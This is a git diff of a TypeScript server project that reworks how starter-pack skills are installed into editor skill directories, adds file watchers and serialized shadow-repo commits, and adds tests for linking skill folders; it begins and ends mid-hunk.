- if (!existsSync(join(okSkillDir, 'SKILL.md'))) {
- try {
- tracedRmSync(okSkillDir, { recursive: true, force: true });
- tracedMkdirSync(join(projectDir, '.ok', 'skills'), { recursive: true });
- tracedCpSync(sourceDir, okSkillDir, { recursive: true });
- } catch (err) {
- // A real disk failure (EACCES / ENOSPC / I/O) — NOT the benign
- // "pack ships no skill" (resolved === null above). Log it so a seed that
- // silently installed 0 editors is diagnosable rather than mistaken for normal.
- getLogger('seed').warn(
- { err, packId, okSkillDir },
- 'pack skill source authoring failed — skill not installed',
- );
- return [];
- }
+/**
+ * Record a seeded pack skill's upstream provenance in `.ok/skills-lock.json` so it
+ * updates through the SAME reimport path as any imported skill — the source is the
+ * deterministic `open-knowledge-skills` projection, the skill selector is the skill's
+ * own name. Never clobbers an existing entry (a real import wins); best-effort so a
+ * lock write failure never fails the seed.
+ */
+function recordPackSkillProvenance(projectDir: string, name: string, skillDir: string): void {
+ try {
+ const acquired = parseSkillDir(skillDir);
+ if (!acquired) return;
+ const lockPath = join(projectDir, ...SKILLS_LOCK_REL);
+ const lock = existsSync(lockPath)
+ ? (parseSkillsLock(readFileSync(lockPath, 'utf-8')) ?? emptySkillsLock())
+ : emptySkillsLock();
+ if (lock.skills[name]) return;
+ tracedMkdirSync(dirname(lockPath), { recursive: true });
+ const updated = upsertLockEntry(lock, name, {
+ source: OPENKNOWLEDGE_SKILLS_REPO,
+ skill: name,
+ contentHash: acquired.contentHash,
+ importedAt: new Date().toISOString(),
+ });
+ tracedWriteFileSync(lockPath, `${JSON.stringify(updated, null, 2)}\n`, 'utf-8');
+ } catch (err) {
+ getLogger('seed').warn({ err, name }, 'pack skill provenance not recorded');
}
+}
+
+export async function installPackSkill(projectDir: string, packId: string): Promise<string[]> {
+ const sources = resolvePackSkillSources(packId);
+ if (sources.length === 0) return [];
- // (2) Project the `.ok/skills/` source into each editor ALREADY set up for
- // this project. Projection is a symlink (the shared `projectSkill` primitive
- // owns the symlink-escape guard + host-dir resolution) — NOT a copy, so the
- // boot-time reconcile doesn't immediately rewrite a copied dir to a symlink
- // (the write-then-undo churn this used to cause). "Set up" = the editor's
- // platform `open-knowledge` skill is present.
+ // The editors ALREADY set up for this project — the platform `open-knowledge`
+ // skill is present. Computed once; every pack skill projects into the same set.
const setUpHosts = PROJECT_SKILL_EDITOR_IDS.filter((id) => {
const rel = EDITOR_PROJECT_SKILL_ROOT[id];
if (rel === null) return false;
return existsSync(join(projectDir, rel, PLATFORM_SKILL_NAME, 'SKILL.md'));
});
- const hosts = projectSkill(okSkillDir, name, projectDir, setUpHosts);
- const installed = hosts.map((id) => PROJECT_SKILL_EDITOR_LABELS[id] ?? id);
- // (3) Record the marker so the Skills list badges it Installed + lists
- // hosts. Best-effort — a marker write failure must not fail the seed.
- if (hosts.length > 0) {
- try {
- await recordSkillInstall(projectDir, name, {
- hosts,
- scope: 'project',
- scripts: existsSync(join(okSkillDir, 'scripts')),
- installedAt: new Date().toISOString(),
- });
- } catch {
- // marker is a convenience; the source + projections already landed
+ const installed = new Set<string>();
+ // The scan (not any marker) is truth under the in-place model — one scan
+ // covers the absent-check for every pack skill.
+ const existingNames = new Set(scanInPlaceSkills(projectDir).map((sk) => sk.name));
+ const homeRel = resolveDefaultSkillHomeRel(projectDir, 'project');
+ // The default home can be an editor dir that SYMLINKS OUT of the project
+ // (the escape class the projection guard refuses) — authoring through it
+ // would write outside the repo. Refuse the whole pack-skill install then;
+ // the old `.ok/skills` landing was only incidentally immune.
+ if (hostSkillsRootEscapes(projectDir, join(projectDir, homeRel))) {
+ getLogger('seed').warn(
+ { packId, homeRel },
+ 'default skill home escapes the project (symlinked out) — pack skills not installed',
+ );
+ return [];
+ }
+ // The editor whose root HOLDS the source loads it directly — it counts as
+ // installed even though fan-out (rightly) skips the canonical's own root.
+ const homeHost = (Object.entries(EDITOR_PROJECT_SKILL_ROOT) as [EditorId, string | null][]).find(
+ ([, root]) => root === homeRel,
+ )?.[0];
+ for (const { name, sourceDir, excludeDirs } of sources) {
+ // (1) Author the SOURCE in place at the project's default skill home —
+ // the same landing every create/import uses (store retirement; the old
+ // `.ok/skills` authoring rode the boot migration forever). Authored ONLY
+ // when the skill exists NOWHERE (in-place scan + legacy store): a present
+ // skill is a (possibly user-edited) fork we must not clobber.
+ const skillDir = join(projectDir, homeRel, name);
+ const legacyStoreDir = join(projectDir, '.ok', 'skills', name);
+ const alreadyPresent =
+ existingNames.has(name) ||
+ existsSync(join(skillDir, 'SKILL.md')) ||
+ existsSync(join(legacyStoreDir, 'SKILL.md'));
+ const sourceHome = existsSync(join(legacyStoreDir, 'SKILL.md')) ? legacyStoreDir : skillDir;
+ if (!alreadyPresent) {
+ try {
+ tracedRmSync(skillDir, { recursive: true, force: true });
+ tracedMkdirSync(join(projectDir, homeRel), { recursive: true });
+ // A decomposed pack's root dir CONTAINS its member skill dirs; each member
+ // installs as its own top-level skill, so filter them out of the root copy.
+ tracedCpSync(sourceDir, skillDir, {
+ recursive: true,
+ filter: (src) => !excludeDirs.some((dir) => src === join(sourceDir, dir)),
+ });
+ } catch (err) {
+ // A real disk failure (EACCES / ENOSPC / I/O) — NOT the benign
+ // "pack ships no skill" (empty `sources` above). Log it so a seed that
+ // silently installed 0 editors is diagnosable rather than mistaken for normal.
+ getLogger('seed').warn(
+ { err, packId, skillDir },
+ 'pack skill source authoring failed — skill not installed',
+ );
+ continue;
+ }
+
+ // Provenance for the reimport-based update path (no bespoke pack-update handler).
+ recordPackSkillProvenance(projectDir, name, skillDir);
+ }
+
+ // (2) Fan the source into each set-up editor via the guarded in-place
+ // primitive (copy mode — the go-forward model; a DIFFERENT same-name dir
+ // is left untouched). The source's own host is excluded naturally (the
+ // primitive skips the canonical's root). No install marker: the in-place
+ // scan is the host-set truth.
+ const canonicalAbs = existsSync(join(sourceHome, 'SKILL.md')) ? sourceHome : skillDir;
+ const canonicalHash = parseSkillDir(canonicalAbs)?.contentHash;
+ if (canonicalHash === undefined) continue;
+ const fanned = projectInPlaceSkill({
+ canonicalAbs,
+ canonicalHash,
+ canonicalRootRel: homeRel,
+ name,
+ cwd: projectDir,
+ targets: setUpHosts,
+ mode: 'copy',
+ });
+ for (const id of fanned.hosts) {
+ installed.add(PROJECT_SKILL_EDITOR_LABELS[id as EditorId] ?? id);
+ }
+ if (homeHost !== undefined && setUpHosts.includes(homeHost)) {
+ installed.add(PROJECT_SKILL_EDITOR_LABELS[homeHost] ?? homeHost);
}
}
- return installed;
+ return [...installed];
}
diff --git a/packages/server/src/seed/plan.ts b/packages/server/src/seed/plan.ts
index 59708d7e5..990840a1b 100644
--- a/packages/server/src/seed/plan.ts
+++ b/packages/server/src/seed/plan.ts
@@ -2,7 +2,8 @@ import { existsSync } from 'node:fs';
import { join, resolve } from 'node:path';
import { OK_PROJECT_MARKER } from '@inkeep/open-knowledge-core';
import { isProjectRoot } from '../fs/find-project-root.ts';
-import { resolvePackSkillSource } from './install-pack-skill.ts';
+import { scanInPlaceSkills } from '../in-place-skills.ts';
+import { resolvePackSkillSources } from './install-pack-skill.ts';
import { assertEntryPathInProject } from './path-safety.ts';
import { DEFAULT_PACK_ID, resolvePack, STARTER_FOLDER_FRONTMATTER_FILENAME } from './starter.ts';
import type { FileEntry, ScaffoldPlan, SeedOptions, SkipEntry } from './types.ts';
@@ -199,19 +200,24 @@ export async function planSeed(opts: SeedOptions = {}): Promise<ScaffoldPlan> {
}
}
- // 3. Pack skill. The skill is authored/installed by `applySeed` →
- // `installPackSkill` (not a `created` FileEntry — it's a recursive dir
- // copy), so report it separately: a project whose folders/templates exist
- // but whose `.ok/skills/<pack-skill>/` is absent (deleted, or a project
- // seeded before skills-as-content) is NOT fully set up. Callers fold
- // `packSkill.pending` into "is there work to do?" alongside `created`.
- const packSkillSource = resolvePackSkillSource(pack.id);
- const packSkill = packSkillSource
- ? {
- name: packSkillSource.name,
- pending: !existsSync(join(projectDir, '.ok', 'skills', packSkillSource.name, 'SKILL.md')),
- }
- : undefined;
-
- return { created, skipped, warnings, ...(packSkill ? { packSkill } : {}) };
+ // 3. Pack skills. They are authored/installed by `applySeed` →
+ // `installPackSkill` (not `created` FileEntries — they're recursive dir
+ // copies), so report them separately: a project whose folders/templates exist
+ // but whose pack skill is absent (deleted, or a project seeded before
+ // skills-as-content) is NOT fully set up. Callers fold
+ // `packSkills[].pending` into "is there work to do?" alongside `created`.
+ // A decomposed pack ships several skills; each is pending independently.
+ // Presence is scan-based (in-place editor-dir skills, same source of truth
+ // `installPackSkill` dedups against), with the legacy `.ok/skills` store
+ // still honored for pre-inversion projects.
+ const sources = resolvePackSkillSources(pack.id);
+ const inPlaceNames =
+ sources.length > 0 ? new Set(scanInPlaceSkills(projectDir).map((sk) => sk.name)) : null;
+ const packSkills = sources.map(({ name }) => ({
+ name,
+ pending:
+ !inPlaceNames?.has(name) && !existsSync(join(projectDir, '.ok', 'skills', name, 'SKILL.md')),
+ }));
+
+ return { created, skipped, warnings, ...(packSkills.length > 0 ? { packSkills } : {}) };
}
diff --git a/packages/server/src/seed/skill-pack-list-drift.test.ts b/packages/server/src/seed/skill-pack-list-drift.test.ts
index 2353f3168..d336919d4 100644
--- a/packages/server/src/seed/skill-pack-list-drift.test.ts
+++ b/packages/server/src/seed/skill-pack-list-drift.test.ts
@@ -10,7 +10,7 @@ import { STARTER_PACK_IDS } from './starter.ts';
// here until the skill is updated in lock-step.
//
// The skill is split into a lean core SKILL.md + on-demand `references/*.md`, and
-// the pack list lives in a reference (`workflow-guides.md`). Read the WHOLE
+// the pack list lives in a reference (`starter-packs.md`). Read the WHOLE
// bundle (core + every reference) so the guard finds the list wherever it lives.
const SKILL_DIR = join(import.meta.dir, '../../assets/skills/project');
// Matches each pack bullet: `- \`<id>\` — <hint>` (em-dash). Verified unique to
diff --git a/packages/server/src/seed/starter.ts b/packages/server/src/seed/starter.ts
index e0f342f25..e572dd546 100644
--- a/packages/server/src/seed/starter.ts
+++ b/packages/server/src/seed/starter.ts
@@ -1,7 +1,7 @@
/**
* Starter packs for the `ok seed` scaffolder.
*
- * Seven packs ship today:
+ * Eight packs ship today:
* - `knowledge-base` — Karpathy three-layer source-grounded KB
* - `software-lifecycle` — proposals / decisions / specs / postmortems / guides
* - `codebase-wiki` — agent-authored wiki of a codebase (architecture / modules / flows / concepts / guides)
@@ -168,7 +168,7 @@ const KNOWLEDGE_BASE_TEMPLATES: Readonly<Record<string, string>> = {
clip: `---
template:
title: External Source
- description: Capture a URL or article text verbatim as raw reference material. For binary files (PDFs, images, audio), use the \`ingest\` tool instead — this \`clip\` template is for text sources only.
+ description: Capture a URL or article text verbatim as raw reference material. For binary files (PDFs, images, audio), ask your agent to ingest the source instead — this \`clip\` template is for text sources only.
type: source
description: "Raw source text captured verbatim for reference, with its original URL and fetch date."
source_url:
@@ -506,7 +506,7 @@ tags: [postmortem]
// OK knowledge base. Version-controlled, private by default, human+agent
// co-editable, and durable grounding context for future agent sessions.
//
-// Two natural-language knobs the `wiki` workflow reads from the user's request
+// Two natural-language knobs the wiki generate/refresh procedure reads from the user's request
// (zero engine config; the chosen profile is recorded in OVERVIEW frontmatter
// so refreshes stay consistent):
// - audience: `internal` (default) | `public`
@@ -661,12 +661,12 @@ tags: [wiki, guide]
`,
};
-// OVERVIEW is the wiki hub. Seeded as a stub; the `wiki` workflow fills the
+// OVERVIEW is the wiki hub. Seeded as a stub; the wiki generate/refresh procedure fills the
// body and stamps `profile` + `source_commit` (git HEAD at generation) into
// frontmatter as the freshness anchor that refresh mode diffs against.
const CODEBASE_WIKI_OVERVIEW_MD = `---
title: Codebase Wiki — Overview
-description: Home page and navigation hub for this codebase wiki. Generated and refreshed by the wiki workflow.
+description: Home page and navigation hub for this codebase wiki. Generated and refreshed by your agent.
profile:
source_commit:
tags: [wiki, overview]
@@ -674,7 +674,7 @@ tags: [wiki, overview]
# Overview
-The home page and navigation hub for this codebase's wiki. It is a stub until you run the wiki workflow — ask your agent to "build the wiki" (optionally naming an audience and depth, e.g. "public, exhaustive"), or call \`workflow({ kind: "wiki" })\` directly.
+The home page and navigation hub for this codebase's wiki. It is a stub until it is generated — ask your agent to "build the wiki" (optionally naming an audience and depth, e.g. "public, exhaustive"). The full generate/refresh procedure ships with this pack's skill.
Once generated, this page carries: what the project is, a big-picture architecture diagram, and a navigation map linking every section below.
@@ -1652,7 +1652,7 @@ export const STARTER_PACKS: Readonly<Record<PackId, StarterPack>> = {
id: 'codebase-wiki',
name: 'Codebase wiki',
// Picker cards line-clamp descriptions to 2 lines (PackCardGrid); the
- // longer pitch lives in the pack's SKILL.md + the `wiki` workflow guide.
+ // longer pitch lives in the pack's SKILL.md + its generate/refresh reference.
description: 'A wiki to help navigate your codebase.',
// Nested folder paths (`wiki/...`) already place everything under `wiki/`,
// so there is no recommended subfolder to pre-fill.
diff --git a/packages/server/src/seed/types.ts b/packages/server/src/seed/types.ts
index 26ab070db..bedb35f35 100644
--- a/packages/server/src/seed/types.ts
+++ b/packages/server/src/seed/types.ts
@@ -55,7 +55,7 @@ export interface ScaffoldPlan {
* it. Folders/templates being present does NOT imply the skill is — so callers
* must treat a pending skill as outstanding work, not "already set up".
*/
- packSkill?: { name: string; pending: boolean };
+ packSkills?: { name: string; pending: boolean }[];
}
/**
diff --git a/packages/server/src/server-factory.ts b/packages/server/src/server-factory.ts
index 5858d6ae9..a5691b4b3 100644
--- a/packages/server/src/server-factory.ts
+++ b/packages/server/src/server-factory.ts
@@ -8,7 +8,8 @@ import {
statSync,
writeFileSync,
} from 'node:fs';
-import { basename, dirname, join, relative, resolve } from 'node:path';
+import { homedir } from 'node:os';
+import { basename, dirname, join, relative, resolve, sep } from 'node:path';
import type { Document, Extension } from '@hocuspocus/server';
import { Hocuspocus, IncomingMessage, MessageType } from '@hocuspocus/server';
import {
@@ -129,6 +130,7 @@ import type {
} from './github-permissions.ts';
import { type HeadWatcherHandle, readProjectHeadState, startHeadWatcher } from './head-watcher.ts';
import { errnoCode } from './http/handler-utils.ts';
+import { scanGlobalInPlaceSkills, scanInPlaceSkillDirs } from './in-place-skills.ts';
import { createLiveDerivedIndexExtension } from './live-derived-index.ts';
import { getLogger } from './logger.ts';
import { isAllowedWorkspaceHostHeader, isLoopbackAddress } from './loopback.ts';
@@ -139,6 +141,7 @@ import {
} from './maintenance-coordinator.ts';
import {
applyExternalManagedArtifactChange,
+ homeFor,
managedArtifactDocNameForPath,
managedArtifactSkillsRoots,
} from './managed-artifact-persistence.ts';
@@ -201,6 +204,7 @@ import {
saveInMemoryCheckpoint,
shadowGit,
} from './shadow-repo.ts';
+import { resyncRecordedSkillCopies } from './skill-placements.ts';
import { assertCompatibleStateManifest } from './state-manifest.ts';
import { SyncEngine } from './sync-engine.ts';
import { createSyncHandshakeSpanExtension } from './sync-handshake-span-extension.ts';
@@ -989,6 +993,10 @@ export function createServer(options: ServerOptions): ServerInstance {
// manager (agent-undo) and the file-watcher intake path (dirty-open-doc).
let bridgeLossReporter: BridgeDeriveLossReporter | undefined;
let cc1Broadcaster: CC1Broadcaster | null = null;
+ // Debounced live in-place-skill re-scan trigger (armed by the raw watcher
+ // batch hook; cleared on shutdown so no rebuild fires post-destroy).
+ let inPlaceRescanTimer: ReturnType<typeof setTimeout> | null = null;
+ const IN_PLACE_RESCAN_DEBOUNCE_MS = 500;
let agentFocusBroadcaster: AgentFocusBroadcaster | null = null;
let agentPresenceBroadcaster: AgentPresenceBroadcaster | null = null;
let invalidateReferencedAssetsCache: (() => void) | null = null;
@@ -1168,6 +1176,12 @@ export function createServer(options: ServerOptions): ServerInstance {
projectDir,
contentDir,
singleDocRelPath,
+ // In-place skill versioning: admit editor-dir skills (`.claude/skills/**`,
+ // …) as content, deduped to one canonical per skill. Scanned at boot and
+ // re-scanned on every filter rebuild (the raw-batch trigger below fires
+ // one when a host skills dir changes).
+ inPlaceSkillDirs: scanInPlaceSkillDirs(contentDir),
+ rescanInPlaceSkillDirs: () => scanInPlaceSkillDirs(contentDir),
onAfterRebuild: () => {
// Re-derive relationship views against the freshly rebuilt admission
// boundary. The coordinator serializes rapid successive rebuilds.
@@ -2770,6 +2784,10 @@ export function createServer(options: ServerOptions): ServerInstance {
try {
// Phase 1: stop watchers FIRST so L1 disk writes don't trigger reconcile loops
try {
+ if (inPlaceRescanTimer) {
+ clearTimeout(inPlaceRescanTimer);
+ inPlaceRescanTimer = null;
+ }
if (headWatcher) {
await headWatcher.unsubscribe();
headWatcher = null;
@@ -3349,6 +3367,14 @@ export function createServer(options: ServerOptions): ServerInstance {
persistence.managedArtifactCtx,
);
log.info({ docName, outcome }, '[managed-artifact-watcher] external change');
+ // Refresh the skills list in every connected client. `useSkills` (sidebar
+ // Skills navigator + Settings) refetches only on the local `skills-changed`
+ // window event or the `files` CC1 signal — and this disk-watch path is the
+ // ONLY thing that fires when a skill is created/edited in ANOTHER instance
+ // or the CLI (global skills live in the shared `~/.ok/skills`, so every
+ // project's server watches them). Without this signal the other window's
+ // skills list stays stale until a manual reload.
+ signalChannel('files');
// A global SKILL.md add/change reconciles the whole bundle into the graph:
// re-ingest registers the SKILL node + its current references (and prunes
// any that vanished). Node-only + idempotent, so the (cheap, bounded) full
@@ -3362,11 +3388,35 @@ export function createServer(options: ServerOptions): ServerInstance {
}
};
+ // A skill deleted by another instance / the CLI unlinks its `SKILL.md`.
+ // That doesn't fire the reconcile above (unlink deliberately retains any
+ // open doc), so refresh the skills list here — `useSkills` refetches on
+ // `files`, and re-ingest prunes the vanished skill from the graph. The open
+ // doc, if any, is left as-is; deleting live content is a separate surface.
+ const handleManagedArtifactUnlink = (absPath: string): void => {
+ const docName = managedArtifactDocNameForPath(absPath, persistence.managedArtifactCtx);
+ signalChannel('files');
+ if (docName && parseGlobalSkillBundleDoc(docName)) {
+ // Same re-ingest the change handler above runs; here it PRUNES the
+ // vanished skill from the graph.
+ void derivedDocumentIndex.refreshGlobalSkillNodes().catch((err) => {
+ log.warn({ err, docName }, '[backlinks] global skill bundle prune failed');
+ });
+ }
+ };
+
try {
+ // Watch every known global root, but never CONJURE a vendor tree: the
+ // watcher mkdir -p's what it is handed, so passing all of them made a
+ // plain markdown user grow ~/.gemini, ~/.pi, ~/.opencode … on first
+ // boot just by starting OK. An existing parent means the tool is
+ // actually installed, and creating its `skills/` leaf is expected.
const skillsRoots = managedArtifactSkillsRoots(persistence.managedArtifactCtx);
const skillsCleanup = await startManagedArtifactWatcher(
skillsRoots,
reconcileManagedArtifactDisk,
+ undefined,
+ handleManagedArtifactUnlink,
);
configFileWatcherCleanups.push({ docName: '__skill-files__', cleanup: skillsCleanup });
log.info({ roots: skillsRoots }, '[managed-artifact-watcher] skills started');
@@ -3375,6 +3425,31 @@ export function createServer(options: ServerOptions): ServerInstance {
degraded.push('managed-artifact-watcher:skills');
}
+ // Install-state (`~/.ok/skill-state.yml`) is user-global and shared by every
+ // project's server. Installing / uninstalling a skill in ANOTHER instance
+ // rewrites this file but touches no `SKILL.md`, so the skills-tree watcher
+ // above never fires. Watch it here and refresh the skills list (`useSkills`
+ // keys off the `files` signal) so an uninstall in project A drops the
+ // installed badge in project B live, without a reload.
+ try {
+ // Addressed directly, NOT as `skillsRoots[0]/..`: that derivation only
+ // pointed here while `.ok/skills` was the sole global root, and now
+ // resolves to whichever editor root happens to sort first.
+ const skillStatePath = resolve(
+ homeFor(persistence.managedArtifactCtx),
+ '.ok',
+ 'skill-state.yml',
+ );
+ const skillStateCleanup = await startConfigFileWatcher(skillStatePath, () => {
+ signalChannel('files');
+ });
+ configFileWatcherCleanups.push({ docName: '__skill-state__', cleanup: skillStateCleanup });
+ log.info({ path: skillStatePath }, '[skill-state-watcher] started');
+ } catch (err) {
+ log.warn({ err }, '[skill-state-watcher] failed to start');
+ degraded.push('skill-state-watcher');
+ }
+
// Template watcher. Templates live in any folder's `.ok/templates/`, so the
// watch roots are enumerated from the existing templates at boot (plus the
// project root). Bounded — a template created in a BRAND-NEW folder mid-
@@ -3598,9 +3673,87 @@ export function createServer(options: ServerOptions): ServerInstance {
// index. Wrap it in its own span + time it separately so the seed walk's
// cost is visible apart from the surrounding index work.
const seedWalkStartMono = performance.now();
+ // Live in-place-skill re-scan: raw (pre-admission) watcher events under
+ // an editor host skills dir — excluding the `.ok/skills` store, whose
+ // events are ordinary admitted content — debounce into a re-scan; only
+ // an actually-changed canonical set triggers the (index-re-deriving)
+ // filter rebuild, so editing an admitted skill's files stays cheap.
+ const HOST_SKILLS_EVENT_RE = /^\.(?!ok\/)[A-Za-z0-9_-]+\/skills\//;
+ let lastInPlaceDirs = contentFilter ? scanInPlaceSkillDirs(contentDir) : new Set<string>();
+ const onRawBatch = (absPaths: readonly string[]): void => {
+ if (
+ !absPaths.some((p) =>
+ HOST_SKILLS_EVENT_RE.test(relative(contentDir, p).split(sep).join('/')),
+ )
+ ) {
+ return;
+ }
+ if (inPlaceRescanTimer) clearTimeout(inPlaceRescanTimer);
+ inPlaceRescanTimer = setTimeout(() => {
+ inPlaceRescanTimer = null;
+ try {
+ // Forward re-sync FIRST (lossless, hash-gated): a canonical edit
+ // refreshes OK-recorded copies, so they rejoin the identity group
+ // in the scan below instead of surfacing as stale forks.
+ void resyncRecordedSkillCopies(projectDir, contentDir)
+ .then((n) => {
+ if (n > 0) {
+ log.info({ refreshed: n }, '[in-place-skills] re-synced recorded copies');
+ cc1Broadcaster?.signal('files');
+ }
+ })
+ .catch((err) => log.warn({ err }, '[in-place-skills] copy re-sync failed'));
+ const next = scanInPlaceSkillDirs(contentDir);
+ const changed =
+ next.size !== lastInPlaceDirs.size ||
+ [...next].some((d) => !lastInPlaceDirs.has(d));
+ if (!changed) return;
+ lastInPlaceDirs = next;
+ void contentFilter
+ .rebuildIgnorePatterns()
+ .then((result) => {
+ if (result.ok) {
+ log.info(
+ { skillDirs: next.size },
+ '[in-place-skills] canonical set changed — filter rebuilt',
+ );
+ cc1Broadcaster?.signal('files');
+ } else {
+ log.warn(
+ { error: result.error.message },
+ '[in-place-skills] filter rebuild failed after skill re-scan',
+ );
+ }
+ })
+ .catch((err) => log.warn({ err }, '[in-place-skills] rebuild threw'));
+ } catch (err) {
+ log.warn({ err }, '[in-place-skills] re-scan trigger failed');
+ }
+ }, IN_PLACE_RESCAN_DEBOUNCE_MS);
+ };
watcher = await withSpan('ok.boot.seed-walk', undefined, async () =>
- startWatcher(contentDir, onDiskEvent, contentFilter),
+ startWatcher(contentDir, onDiskEvent, contentFilter, { onRawBatch }),
);
+ // Record observed same-hash copy pairs + refresh any recorded copy whose
+ // canonical moved while the server was down (lossless, hash-gated).
+ // Lives HERE (not boot.ts) so every entrypoint — CLI, desktop, dev,
+ // test harness — gets the pairing; without it the first canonical edit
+ // forks a pre-existing copy instead of re-syncing it.
+ void resyncRecordedSkillCopies(projectDir, contentDir)
+ .then((n) => {
+ if (n > 0) log.info({ refreshed: n }, '[in-place-skills] boot copy re-sync');
+ })
+ .catch((err) => log.warn({ err }, '[in-place-skills] boot copy re-sync failed'));
+ // GLOBAL tier: native user-dir skills have no watcher, so their
+ // recorded copies pair + refresh at boot only.
+ {
+ const home = configHomedirOverride ?? homedir();
+ void resyncRecordedSkillCopies(home, home, scanGlobalInPlaceSkills(home))
+ .then((n) => {
+ if (n > 0) log.info({ refreshed: n }, '[in-place-skills] global boot copy re-sync');
+ })
+ .catch((err) => log.warn({ err }, '[in-place-skills] global copy re-sync failed'));
+ }
recordBootPhase('seedWalkMs', Math.round(performance.now() - seedWalkStartMono));
// Origin-existence self-heal for journaled removal entries. Disk is
diff --git a/packages/server/src/shadow-repo.test.ts b/packages/server/src/shadow-repo.test.ts
index 4dcf41d4c..af865396a 100644
--- a/packages/server/src/shadow-repo.test.ts
+++ b/packages/server/src/shadow-repo.test.ts
@@ -359,6 +359,35 @@ describe('commitWip', () => {
expect(parent).toBe(sha1);
});
+ test('CONCURRENT same-writer commits serialize: linear chain, no stale tree (P0 pin)', async () => {
+ // Without per-writer serialization the two flushes share the fixed-path
+ // index file `index-wip-<writer.id>`: the second's read-tree reseeds it
+ // from the old ref between the first's add and write-tree, committing a
+ // STALE tree (fresh files missing, old entries resurrected) and both
+ // commits claim the same parent (lost update).
+ writeFileSync(resolve(contentDir, 'a.md'), '# A\n');
+ const base = await commitWip(shadow, writer, 'content/docs', 'WIP: base');
+
+ writeFileSync(resolve(contentDir, 'b.md'), '# B\n');
+ writeFileSync(resolve(contentDir, 'c.md'), '# C\n');
+ const [s1, s2] = await Promise.all([
+ commitWip(shadow, writer, 'content/docs', 'WIP: concurrent 1'),
+ commitWip(shadow, writer, 'content/docs', 'WIP: concurrent 2'),
+ ]);
+
+ const sg = shadowGit(shadow);
+ // Linear chain off base — the two flushes must not share a parent.
+ const p1 = (await sg.raw('log', '-1', '--format=%P', s1)).trim();
+ const p2 = (await sg.raw('log', '-1', '--format=%P', s2)).trim();
+ expect([p1, p2].sort()).toEqual([base, s1].sort());
+ // The ref's final tree holds EVERY file — nothing dropped by a reseed.
+ const files = (await sg.raw('ls-tree', '-r', '--name-only', `refs/wip/main/${writer.id}`))
+ .trim()
+ .split('\n')
+ .sort();
+ expect(files).toEqual(['content/docs/a.md', 'content/docs/b.md', 'content/docs/c.md']);
+ });
+
test('different writers get independent refs', async () => {
const agent: WriterIdentity = {
id: 'agent-cursor',
diff --git a/packages/server/src/shadow-repo.ts b/packages/server/src/shadow-repo.ts
index 82732906f..7c4f88f89 100644
--- a/packages/server/src/shadow-repo.ts
+++ b/packages/server/src/shadow-repo.ts
@@ -382,6 +382,8 @@ export interface CommitWipOptions {
date?: string;
}
+const wipCommitQueues = new Map<string, Promise<unknown>>();
+
export async function commitWip(
shadow: ShadowHandle,
writer: WriterIdentity,
@@ -398,10 +400,21 @@ export async function commitWip(
'shadow.branch': branch,
},
},
- async () =>
- shadowOpGateFor(shadow).withMutator(() =>
- commitWipInner(shadow, writer, contentRoot, message, branch, opts?.date),
- ),
+ async () => {
+ // The shadow op gate's `withMutator` is SHARED (mutators run concurrently;
+ // only gc is exclusive), so it does NOT serialize two in-flight flushes
+ // for the same writer — they'd race on the fixed-path `index-wip-<writer>`
+ // and commit stale trees. The per-writer promise queue below is the
+ // serialization; the gate still fences us against gc.
+ const key = `${shadow.gitDir}\0${writer.id}`;
+ const flush = () =>
+ shadowOpGateFor(shadow).withMutator(() =>
+ commitWipInner(shadow, writer, contentRoot, message, branch, opts?.date),
+ );
+ const run = (wipCommitQueues.get(key) ?? Promise.resolve()).then(flush, flush);
+ wipCommitQueues.set(key, run);
+ return run;
+ },
);
}
diff --git a/packages/server/src/skill-folder-links.test.ts b/packages/server/src/skill-folder-links.test.ts
new file mode 100644
index 000000000..6656e87ea
--- /dev/null
+++ b/packages/server/src/skill-folder-links.test.ts
@@ -0,0 +1,228 @@
+import {
+ existsSync,
+ lstatSync,
+ mkdirSync,
+ mkdtempSync,
+ readFileSync,
+ realpathSync,
+ rmSync,
+ symlinkSync,
+ writeFileSync,
+} from 'node:fs';
+import { tmpdir } from 'node:os';
+import { join } from 'node:path';
+import { afterEach, beforeEach, describe, expect, test } from 'vitest';
+import { linkEditorSkillFolder, unlinkEditorSkillFolder } from './skill-folder-links.ts';
+
+function writeSkill(root: string, rel: string, body: string): void {
+ const dir = join(root, rel);
+ mkdirSync(dir, { recursive: true });
+ writeFileSync(
+ join(dir, 'SKILL.md'),
+ `---\nname: ${rel.split('/').pop()}\ndescription: d\n---\n${body}`,
+ );
+}
+
+let base: string;
+beforeEach(() => {
+ base = mkdtempSync(join(tmpdir(), 'ok-folder-link-'));
+});
+afterEach(() => {
+ rmSync(base, { recursive: true, force: true });
+});
+
+describe('linkEditorSkillFolder (merge-then-swap)', () => {
+ test('moves own-only bundles, drops same-hash ones, links the folder', () => {
+ writeSkill(base, '.codex/skills/only-here', '# A');
+ writeSkill(base, '.codex/skills/both', '# Same');
+ writeSkill(base, '.agents/skills/both', '# Same');
+
+ const r = linkEditorSkillFolder({
+ base,
+ folderRel: '.codex/skills',
+ targetRootRel: '.agents/skills',
+ });
+ expect(r.ok).toBe(true);
+ if (!r.ok) return;
+ expect(r.moved).toEqual(['only-here']);
+ expect(r.dropped).toEqual(['both']);
+ expect(lstatSync(join(base, '.codex/skills')).isSymbolicLink()).toBe(true);
+ expect(realpathSync(join(base, '.codex/skills'))).toBe(
+ realpathSync(join(base, '.agents/skills')),
+ );
+ expect(readFileSync(join(base, '.agents/skills/only-here/SKILL.md'), 'utf-8')).toContain('# A');
+ });
+
+ test('a differing bundle ABORTS the whole merge with nothing written', () => {
+ writeSkill(base, '.codex/skills/fork', '# Mine');
+ writeSkill(base, '.codex/skills/movable', '# B');
+ writeSkill(base, '.agents/skills/fork', '# Theirs DIFFERENT');
+
+ const r = linkEditorSkillFolder({
+ base,
+ folderRel: '.codex/skills',
+ targetRootRel: '.agents/skills',
+ });
+ expect(r.ok).toBe(false);
+ if (r.ok) return;
+ expect(r.reason).toBe('conflicts');
+ expect(r.conflicts).toEqual(['fork']);
+ // Abort is a no-op: nothing moved, folder still a real dir.
+ expect(lstatSync(join(base, '.codex/skills')).isDirectory()).toBe(true);
+ expect(lstatSync(join(base, '.codex/skills')).isSymbolicLink()).toBe(false);
+ expect(readFileSync(join(base, '.codex/skills/movable/SKILL.md'), 'utf-8')).toContain('# B');
+ });
+
+ test('a DANGLING symlink at the merge destination is replaced, not ENOTDIR-crashed', () => {
+ writeSkill(base, '.codex/skills/mover', '# Bytes');
+ mkdirSync(join(base, '.agents', 'skills'), { recursive: true });
+ // Stale pointer at the destination (its target no longer exists).
+ symlinkSync(join(base, 'gone-away'), join(base, '.agents/skills/mover'), 'dir');
+
